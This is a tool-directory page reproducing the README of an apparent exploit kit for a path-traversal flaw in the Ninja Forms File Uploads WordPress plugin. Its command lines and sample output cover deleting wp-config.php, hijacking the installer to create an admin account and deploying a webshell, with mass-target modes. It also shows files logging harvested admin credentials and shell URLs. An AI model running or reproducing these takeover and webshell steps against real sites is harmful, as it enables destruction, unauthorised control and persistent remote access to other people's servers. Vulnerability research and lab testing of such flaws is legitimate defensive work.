Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/im0xfay/cve-2026-126537
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingPayload DevelopmentRemote Access TrojanLabs & Practice
GitHub
7 days agoNot yet reviewed
Share
im0xfay/cve-2026-126537

CVE-2026-126537

PoC and scanner for CVE-2026-126537, an unauthenticated path-traversal file deletion/read in Ninja Forms File Uploads <= 3.3.36, with takeover flow and Docker lab.

View Repository

CVE-2026-126537 — Ninja Forms – File Uploads ≤ 3.3.36

Unauthenticated arbitrary file deletion (and arbitrary file read) through files[].data.file_path on public Ninja Forms submissions, reached by setting extra.saveProgress.

AdvisoryWPScan vdb c2acd746-84cd-4233-8ac5-d7fc73179ca0 (published 2026-11-11)
CVSS9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22
Affectedninja-forms-uploads ≤ 3.3.36
Fixed3.3.37 (2 Nov 2026)
Researcher creditdaroo
Impactdelete wp-config.php → WordPress setup screen → site takeover; read any readable file through the configured S3 / Dropbox / Google Drive bucket

Tool

poc.py — stdlib only, no dependencies.

python3 poc.py                       # interactive menu (1 scan 2 exploit 3 mass-scan 4 mass-exploit 0 exit)
python3 poc.py --url https://target                     # non-destructive scan
python3 poc.py --url https://target --exploit --path /var/www/html/wp-config.php --wait 60
python3 poc.py --targets targets.txt --threads 20 --output hits.txt      # mass scan
python3 poc.py --targets targets.txt --exploit --path /var/www/html/wp-config.php

Useful flags: --page /contact (hint a page that renders the form), -k (skip TLS verification), --wait (seconds to wait for the background job), -v.

Status tags

tagmeaning
VULNversion < 3.3.37 and the server accepted a client-chosen file_path
VULN-VER-MISMATCHthe pipeline accepted a client path while the readme advertises ≥ 3.3.37
VULN+TAKEOVERwp-config.php really is gone: / now redirects to setup-config.php
VULN+QUEUEDpayload accepted and queued; the background job runs on the site's own cron
PATCHEDversion ≥ 3.3.37 and the payload was refused
NO-SIGNALpayload refused, version unknown/old — no connected external service, or background action missing
FORM-REJECTEDthe form's validation / captcha blocked the submission
BLOCKEDWAF or edge refused the POST
TAKEOVERinstaller run on the operator database, admin account created and its session verified
TAKEOVER+SHELLadmin created and the 0xfay webshell deployed + command execution verified
TAKEOVER-NO-SHELLadmin created, shell upload/verification failed
TAKEOVER-UNVERIFIEDinstaller reported success, admin session could not be confirmed
TAKEOVER-FAILEDinstaller step refused (bad DB, already installed, blocked)
NOT-TAKEOVERABLEno setup screen — wp-config.php is still there (run --exploit first)
NO-FORM / NO-NF-UPLOADSnothing to attack on the visible surface

Contoh output (hasil nyata dari lab, lihat evidence/sample-output.txt)

# scan — host rentan (non-destruktif)
VULN-VER-MISMATCH | http://127.0.0.1:8091 | v3.3.37 form#2 field#5 accepted a client-chosen file_path

# scan — host sudah 3.3.37
PATCHED      | http://127.0.0.1:8091 | v3.3.37 - fixed in 3.3.37

# exploit — job background sudah jalan di window --wait  →  hit penuh
VULN+TAKEOVER | http://127.0.0.1:8091 | wp-config.php deleted -> setup screen (/var/www/html/wp-config.php)

# exploit — job belum jalan (cron situs lambat/mati)  →  jujur, belum terhapus
VULN+QUEUED  | http://127.0.0.1:8091 | /var/www/html/wp-config.php queued; background job had not run within 12s (...)

# mass
[=] 3 targets, 2 hit

Exit code: 0 = minimal satu target VULN*, 2 = selain itu (jangan pakai exit code sebagai satu-satunya sinyal).

Mengubah "file hilang" menjadi admin penuh — menu 5 / --takeover

WordPress yang tidak menemukan wp-config.php akan menjalankan installernya sendiri tanpa kredensial apa pun. Tool menjalankan urutan itu terhadap database kosong milik operator (boleh MySQL remote) lalu memverifikasi sesi admin:

$ python3 poc.py --url https://target --takeover --dbhost db.milikku.test --dbname wt       --dbuser wt --dbpass '•••' --admin-user audit --admin-pass 'Audit!Pass2026' -v
    setup screen confirmed (wp-config.php is gone)
    wp-config.php written (installer connected to the operator database)
    admin session check: administrator
TAKEOVER     | https://target | admin 'audit' created on 'wt' (wp-config.php now points there)

Prasyarat: wp-config.php sudah hilang (jalankan --exploit lebih dulu) dan Anda punya database kosong yang bisa diakses target. Setelah admin aktif, jalur ke RCE adalah plugin upload biasa (terbukti di lab: uid=33(www-data)); tool ini berhenti di admin — tidak mengunggah apa pun sendiri.

Output terpisah: newadmin.txt & shells.txt

Setiap admin yang berhasil dibuat dan setiap shell yang berhasil dipasang ditulis ke file sendiri (satu baris per hit, header # run <waktu> per sesi, jadi aman di-append antar run):

# newadmin.txt
http://target | user=audit | pass=Audit!Pass2026 | db=db.saya.test/wt prefix=w99e6040_ | admin-verified

# shells.txt
http://target/wp-content/plugins/nfu-a07a8978/nfu-a07a8978.php | user=audit2 | pass=Shell2xfay!2026 | uid=33(www-data) | marker=0xfay-bc36a4f718 | verified

Shell-nya adalah 0xfay shell (~/CVE-MEGAPACK/payloads/ws.php) yang dikirim sebagai plugin carrier (Plugin Name: header disuntik supaya WP menerima zip-nya). Verifikasi yang dilakukan tool sebelum menulis baris: ?id=1 mengembalikan marker, login p=<pass> berhasil, dan ?c=id mengembalikan uid=….

Mass (satu targets.txt):

$ python3 poc.py --targets targets.txt --takeover --rce --threads 10       --dbhost db.saya.test --dbname wt --dbuser wt --dbpass '•••'       --admin-user audit --admin-pass 'Audit!Pass2026' --shell-pass 'Shell0xfay!2026'
[*] 3 targets, mode=takeover + shell, admins -> newadmin.txt, shells -> shells.txt
TAKEOVER+SHELL | https://t1 | admin 'audit' + shell deployed
NOT-TAKEOVERABLE | https://t2 | no setup screen: wp-config.php still present (run --exploit first)
[=] 3 targets, 1 hit, 1 admin, 1 shell  -> newadmin.txt | shells.txt

Tiap target memakai table prefix acak (w<hex>_) sehingga banyak instalasi bisa berbagi satu database. Flag: --admin-out / --shell-out untuk mengganti nama file.

Yang tidak diberikan CVE ini sendiri: primitive write/upload (lihat CVE-2026-126537-report.md §9b). Sisi read juga terbatas — URL objek di bucket berupa presigned 1 jam dengan kredensial situs, konsumennya halaman admin, jadi penyerang tanpa akses bucket tidak bisa menarik file hasil exfil.

What scan mode does (non-destructive)

It submits the crafted payload with a probe path under /tmp that does not exist and looks at whether the server decorated our file entry (external_locations, custom_path). Those keys are written by NF_FU_External_Abstracts_Service::process_upload() — i.e. the server used the attacker-controlled file_path instead of a stored one. Nothing is uploaded and nothing is deleted.

Exploit prerequisites (honest list)

  1. A published form with a File Upload field (id discovered from the page).
  2. An External File Upload action on that form with a connected external service (S3 / Dropbox / Google Drive) selected for that field. The oracle above can only fire when a service is connected — without one there is no signal and no exploit.
  3. For deletion: the action must have Background Upload enabled, or the target file must be at least the service's single-request limit (S3/Drive 5 MB, Dropbox 150 MB) — only the background worker calls maybe_delete_server_file()→unlink(). Without either, the read (upload to the attacker's-visible bucket) still happens, but the local file survives.
  4. The background job runs on the site's WP-Cron; the tool pokes /wp-cron.php while waiting (--wait).

Lab

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →